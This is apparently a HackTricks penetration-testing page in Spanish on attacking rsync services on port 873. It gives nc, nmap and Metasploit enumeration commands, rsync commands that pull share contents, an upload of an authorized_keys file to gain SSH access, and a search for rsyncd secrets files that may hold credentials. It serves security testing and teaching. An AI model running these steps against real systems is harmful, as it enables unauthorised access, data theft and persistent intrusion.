hacktricks/network-services-pentesting/873-pentesting-rsync.md

105 lines
8 KiB
Markdown
Raw Normal View History

# 873 - Pentesting Rsync
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2023-06-05 18:33:24 +00:00
## **Información Básica**
> **rsync** es una utilidad para [transferir](https://en.wikipedia.org/wiki/File\_transfer) y [sincronizar](https://en.wikipedia.org/wiki/File\_synchronization) [archivos](https://en.wikipedia.org/wiki/Computer\_file) de manera eficiente entre una computadora y un disco duro externo y a través de [computadoras en red](https://en.wikipedia.org/wiki/Computer\_network) comparando los [tiempos de modificación](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) y tamaños de los archivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Se encuentra comúnmente en [sistemas operativos tipo Unix](https://en.wikipedia.org/wiki/Unix-like). El algoritmo de rsync es un tipo de [codificación delta](https://en.wikipedia.org/wiki/Delta\_encoding), y se utiliza para minimizar el uso de la red. [Zlib](https://en.wikipedia.org/wiki/Zlib) puede ser utilizado para compresión de [datos](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) y [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) pueden ser utilizados para seguridad.
2023-06-05 18:33:24 +00:00
De [wikipedia](https://en.wikipedia.org/wiki/Rsync).
**Puerto predeterminado:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeración
### Banner y comunicación manual
```bash
2023-06-05 18:33:24 +00:00
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
2023-06-05 18:33:24 +00:00
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerar carpetas compartidas**
**Un módulo rsync es esencialmente una carpeta compartida**. Estos módulos **pueden estar protegidos opcionalmente por una contraseña**. Esta opción lista los módulos disponibles y, opcionalmente, determina si el módulo requiere una contraseña para acceder:
2023-06-05 18:33:24 +00:00
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Tenga en cuenta que se podría configurar un nombre compartido para que no aparezca en la lista. Por lo tanto, podría haber algo **oculto**.
Tenga en cuenta que puede haber algunos **nombres compartidos** que se enumeran donde necesita algunas **credenciales** (diferentes) para acceder. Por lo tanto, no siempre todos los nombres listados van a ser accesibles y lo notará si recibe un mensaje de _**"Acceso Denegado"**_ al intentar acceder a algunos de estos.
2023-06-05 18:33:24 +00:00
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Rsync Manual
2023-06-05 18:33:24 +00:00
Una vez que tenga la **lista de módulos**, tiene algunas opciones diferentes dependiendo de las acciones que quiera realizar y si se requiere autenticación o no. **Si no se requiere autenticación** puede **listar** una carpeta compartida:
2023-06-05 18:33:24 +00:00
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
Y **copie** todos los **archivos** a su máquina local mediante el siguiente comando:
2023-06-05 18:33:24 +00:00
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Esta **transfiere recursivamente todos los archivos del directorio** `<shared_name>` en la máquina `<IP>` al directorio `./rsync_shared` en la máquina local. Los archivos se transfieren en modo "archivo", lo que asegura que los enlaces simbólicos, dispositivos, atributos, permisos, propiedades, etc. se conserven en la transferencia.
2023-06-05 18:33:24 +00:00
Si **tienes credenciales** puedes **listar/descargar** un **nombre compartido** usando (se pedirá la contraseña):
2023-06-05 18:33:24 +00:00
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
También podrías **subir** algún **contenido** usando rsync (por ejemplo, en este caso podemos subir un archivo _**authorized\_keys**_ para obtener acceso a la caja):
2023-06-05 18:33:24 +00:00
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Encuentra el archivo de configuración de rsyncd:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Dentro del archivo de configuración a veces podrías encontrar el parámetro _secrets file = /ruta/al/archivo_ y este archivo podría contener nombres de usuario y contraseñas permitidos para autenticarse en rsyncd.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>